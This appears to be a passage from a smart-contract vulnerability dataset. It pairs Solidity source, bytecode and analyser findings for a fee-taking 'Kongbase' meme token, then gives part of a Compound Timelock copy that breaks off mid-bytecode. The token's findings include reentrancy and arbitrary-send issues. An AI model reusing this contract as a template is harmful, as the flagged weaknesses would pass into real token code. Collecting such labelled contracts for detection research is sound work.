//SPDX-License-Identifier: UNLICENSED /* ════════════════════███████ ═══════════════════█████████ ══════════════════███████████ ═════════════════███░░███░░███ ════════════════███░░░░█░░░░░██ ════════════█████░░░███████░░░████ ═══════════█░░░████░█░█░█░█░███░░░█ ═══════════█░░░███░░███░███░░██░░░█ ═════════███░░░███░░░░░░░░░░░██░░░███ ═════════█████░░░░░░░░███░░░░░░░█████ ═══════██████░░░░░░░░░░░░░░░░░░░░██████ ══════███████░░░░█████████████░░░███████ ═══██████████░░░█░░░░░░░░░░░░░█░░████████ ══██████████████░░░░░░░░░░░░░░░██████████ ═███████████████░░░░░░░░░░░░░░░███████████ ═█████████████████░░░░░░░░░░░░█████████████ ═██████████████████░░░░░░░░░░██████████████ ═██████████████████████████████████████████ ═██████████████░░░██████████░░░████████████ ══█████████████░░░░░░████░░░░░░████████████ ═══█████████████░█░░░░██░░░░█░████████████ ════█████████████░░░░░██░░░░░████████████ ══════██████████░█░░░░██░░░░█░██████████ ════════████████░█░░░░░░░░░░█░████████ ═══════████████░░░░░░█░░█░░░░░░████████ ═══════██████████████░░░░██████████████ ══════███████████░░░░░░░░░░░░███████████ ════█████████████░░░░█░█░░░░░████████████ ═══███████████████░░█░█░█░░░██████████████ ═══███████████████████████████████████████ ═══███████████████████████████████████████ ═══████████████████════════███████████████ ════█████████████════════════████████████ ════████████████══════════════███████████ ═████░░███░░░██═══════════════██░░░███░░████ █░░░░░█░░░░██░█═══════════════█░██░░░░█░░░░░█ ██████████████═════════════════██████████████ https://t.me/kongbase https://t.me/kongbase https://t.me/kongbase */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Kongbase is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"Kongbase"; string public constant symbol = unicode"Kongbase"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 15; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if((_launchedAt + (3 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxHeldTokens = 200000000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeCollectionADD); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { require( buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _FeeCollectionADD); _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101bb5760003560e01c806370a08231116100ec578063b2289c621161008a578063db92dbb611610064578063db92dbb6146104a6578063dcb0e0ad146104bb578063dd62ed3e146104db578063e8078d941461052157600080fd5b8063b2289c621461045c578063c3c8cd801461047c578063c9567bf91461049157600080fd5b80638da5cb5b116100c65780638da5cb5b146103fe57806394b8d8f21461041c57806395d89b41146101c7578063a9059cbb1461043c57600080fd5b806370a08231146103a9578063715018a6146103c957806373f54a11146103de57600080fd5b8063313ce5671161015957806345596e2e1161013357806345596e2e1461032657806349bd5a5e14610346578063590f897e1461037e5780636fc3eaec1461039457600080fd5b8063313ce567146102d357806332d873d8146102fa57806340b9a54b1461031057600080fd5b806318160ddd1161019557806318160ddd146102635780631940d0201461028857806323b872dd1461029e57806327f3a72a146102be57600080fd5b806306fdde03146101c7578063095ea7b3146102115780630b78f9c01461024157600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101fb604051806040016040528060088152602001674b6f6e676261736560c01b81525081565b6040516102089190611508565b60405180910390f35b34801561021d57600080fd5b5061023161022c366004611572565b610536565b6040519015158152602001610208565b34801561024d57600080fd5b5061026161025c36600461159e565b61054c565b005b34801561026f57600080fd5b50678ac7230489e800005b604051908152602001610208565b34801561029457600080fd5b5061027a600c5481565b3480156102aa57600080fd5b506102316102b93660046115c0565b6105e1565b3480156102ca57600080fd5b5061027a610635565b3480156102df57600080fd5b506102e8600981565b60405160ff9091168152602001610208565b34801561030657600080fd5b5061027a600d5481565b34801561031c57600080fd5b5061027a60095481565b34801561033257600080fd5b50610261610341366004611601565b610645565b34801561035257600080fd5b50600854610366906001600160a01b031681565b6040516001600160a01b039091168152602001610208565b34801561038a57600080fd5b5061027a600a5481565b3480156103a057600080fd5b5061026161070b565b3480156103b557600080fd5b5061027a6103c436600461161a565b610718565b3480156103d557600080fd5b50610261610733565b3480156103ea57600080fd5b506102616103f936600461161a565b6107a7565b34801561040a57600080fd5b506000546001600160a01b0316610366565b34801561042857600080fd5b50600e546102319062010000900460ff1681565b34801561044857600080fd5b50610231610457366004611572565b610815565b34801561046857600080fd5b50600754610366906001600160a01b031681565b34801561048857600080fd5b50610261610822565b34801561049d57600080fd5b50610261610838565b3480156104b257600080fd5b5061027a610a2a565b3480156104c757600080fd5b506102616104d6366004611645565b610a42565b3480156104e757600080fd5b5061027a6104f6366004611662565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561052d57600080fd5b50610261610abf565b6000610543338484610cc4565b50600192915050565b6000546001600160a01b0316331461057f5760405162461bcd60e51b81526004016105769061169b565b60405180910390fd5b600954821080156105915750600a5481105b61059a57600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006105ee848484610de8565b6001600160a01b038416600090815260036020908152604080832033845290915281205461061d9084906116e6565b905061062a853383610cc4565b506001949350505050565b600061064030610718565b905090565b6000546001600160a01b0316331461066f5760405162461bcd60e51b81526004016105769061169b565b6007546001600160a01b0316336001600160a01b03161461068f57600080fd5b600081116106cf5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b6044820152606401610576565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b47610715816111d1565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461075d5760405162461bcd60e51b81526004016105769061169b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146107c757600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610700565b6000610543338484610de8565b600061082d30610718565b90506107158161120f565b6000546001600160a01b031633146108625760405162461bcd60e51b81526004016105769061169b565b600e5460ff16156108af5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610576565b6006546108cf9030906001600160a01b0316678ac7230489e80000610cc4565b6006546001600160a01b031663f305d71947306108eb81610718565b6000806109006000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610968573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098d91906116fd565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109e6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0a919061172b565b50600e805460ff1916600117905542600d556702c68af0bb140000600c55565b600854600090610640906001600160a01b0316610718565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105769061169b565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610700565b6000546001600160a01b03163314610ae95760405162461bcd60e51b81526004016105769061169b565b600e5460ff1615610b365760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610576565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610b9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bbf9190611748565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c309190611748565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca19190611748565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610d265760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610576565b6001600160a01b038216610d875760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610576565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16158015610e2a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e4657503360009081526005602052604090205460ff16155b610e4f57600080fd5b6001600160a01b038316610eb35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610576565b6001600160a01b038216610f155760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610576565b60008111610f775760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610576565b600080546001600160a01b03858116911614801590610fa457506000546001600160a01b03848116911614155b15611172576008546001600160a01b038581169116148015610fd457506006546001600160a01b03848116911614155b8015610ff957506001600160a01b03831660009081526004602052604090205460ff16155b1561108b57600e5460ff166110505760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610576565b42600d5460b46110609190611765565b111561108757600c5461107284610718565b61107c9084611765565b111561108757600080fd5b5060015b600e54610100900460ff161580156110a55750600e5460ff165b80156110bf57506008546001600160a01b03858116911614155b156111725760006110cf30610718565b9050801561115b57600e5462010000900460ff161561115257600b5460085460649190611104906001600160a01b0316610718565b61110e919061177d565b611118919061179c565b81111561115257600b546008546064919061113b906001600160a01b0316610718565b611145919061177d565b61114f919061179c565b90505b61115b8161120f565b47801561116b5761116b476111d1565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806111b457506001600160a01b03841660009081526004602052604090205460ff165b156111bd575060005b6111ca8585858486611383565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561120b573d6000803e3d6000fd5b5050565b600e805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611253576112536117be565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d09190611748565b816001815181106112e3576112e36117be565b6001600160a01b0392831660209182029290920101526006546113099130911684610cc4565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906113429085906000908690309042906004016117d4565b600060405180830381600087803b15801561135c57600080fd5b505af1158015611370573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b600061138f83836113a5565b905061139d868686846113c9565b505050505050565b60008083156113c25782156113bd57506009546113c2565b50600a545b9392505050565b6000806113d684846114a6565b6001600160a01b03881660009081526002602052604090205491935091506113ff9085906116e6565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461142f908390611765565b6001600160a01b038616600090815260026020526040902055611451816114da565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161149691815260200190565b60405180910390a3505050505050565b6000808060646114b6858761177d565b6114c0919061179c565b905060006114ce82876116e6565b96919550909350505050565b306000908152600260205260409020546114f5908290611765565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561153557858101830151858201604001528201611519565b81811115611547576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461071557600080fd5b6000806040838503121561158557600080fd5b82356115908161155d565b946020939093013593505050565b600080604083850312156115b157600080fd5b50508035926020909101359150565b6000806000606084860312156115d557600080fd5b83356115e08161155d565b925060208401356115f08161155d565b929592945050506040919091013590565b60006020828403121561161357600080fd5b5035919050565b60006020828403121561162c57600080fd5b81356113c28161155d565b801515811461071557600080fd5b60006020828403121561165757600080fd5b81356113c281611637565b6000806040838503121561167557600080fd5b82356116808161155d565b915060208301356116908161155d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156116f8576116f86116d0565b500390565b60008060006060848603121561171257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561173d57600080fd5b81516113c281611637565b60006020828403121561175a57600080fd5b81516113c28161155d565b60008219821115611778576117786116d0565b500190565b6000816000190483118215151615611797576117976116d0565b500290565b6000826117b957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118245784516001600160a01b0316835293830193918301916001016117ff565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220a46b6fa8c6feb2c6faad8b34d0ee0ddd80f5e2b78b4974c920b153ffe66b2bc464736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,149
0x666ce19f4d961bffcc7c4c2e4e58fb4bf589eb4d
// SPDX-License-Identifier: MIT pragma solidity 0.6.8; // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // COPIED FROM https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // /** * @dev Time lock to delay transaction executions. */ contract Timelock { using SafeMath for uint256; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint256 indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); uint256 public constant GRACE_PERIOD = 14 days; // Beta uint256 public constant MINIMUM_DELAY = 10 minutes; // uint256 public constant MINIMUM_DELAY = 1 days; uint256 public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint256 public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint256 delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } receive() external payable { } function setDelay(uint256 delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value: value}(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint256) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100c65760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e2146105ed578063e177246e14610602578063f2b065371461062c578063f851a4401461066a576100cd565b80636a42b8f8146105ae5780637d645fab146105c3578063b1b43ae5146105d8576100cd565b80630825f38f146100d25780630e18b68114610287578063267822471461029e5780633a66f901146102cf5780634dd18bf51461042e578063591fcdfe14610461576100cd565b366100cd57005b600080fd5b610212600480360360a08110156100e857600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561011757600080fd5b82018360208201111561012957600080fd5b803590602001918460018302840111600160201b8311171561014a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561019c57600080fd5b8201836020820111156101ae57600080fd5b803590602001918460018302840111600160201b831117156101cf57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061067f915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561024c578181015183820152602001610234565b50505050905090810190601f1680156102795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029357600080fd5b5061029c610b98565b005b3480156102aa5760008